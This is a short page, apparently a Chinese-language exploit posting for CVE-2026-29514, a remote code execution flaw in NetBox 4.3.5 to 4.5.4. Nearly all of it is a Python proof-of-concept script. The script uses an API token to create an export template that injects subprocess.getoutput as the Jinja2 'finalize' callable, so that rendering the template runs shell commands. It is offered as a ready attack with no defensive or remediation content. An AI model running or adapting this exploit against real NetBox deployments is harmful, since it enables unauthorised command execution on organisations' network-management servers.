CVE-2026-29514 NetBox 远程代码执行漏洞

import requests import json # Exploit for CVE-2026-29514 # Target: NetBox 4.3.5 - 4.5.4 target = "http://your-netbox-instance" api_token = "YOUR_API_TOKEN" headers = { "Authorization": f"Token {api_token}", "Content-Type": "application/json", "Accept": "application/json" } # Malicious payload to bypass Jinja2 sandbox # Setting finalize to subprocess.getoutput allows command execution payload_data = { "name": "RCE_Exploit_Template", "content_type": "dcim.device", "template_code": "{{ 'whoami' }}", # The key is injecting a callable into finalize "environment_params": json.dumps({"finalize": "subprocess.getoutput"}) } try: # Step 1: Create the malicious export template response = requests.post( f"{target}/api/extras/export-templates/", headers=headers, json=payload_data ) if response.status_code == 201: print("[+] Malicious template created successfully.") template_id = response.json()['id'] print(f"[+] Template ID: {template_id}") # Step 2: Trigger rendering (This usually happens via export action) # Example: Exporting a device using this template # In a real attack, this would involve finding a valid device ID and triggering the export endpoint print("[+] Note: Manual trigger via the UI or specific export API endpoint required to execute code.") else: print(f"[-] Failed to create template: {response.text}") except Exception as e: print(f"[-] Error: {e}")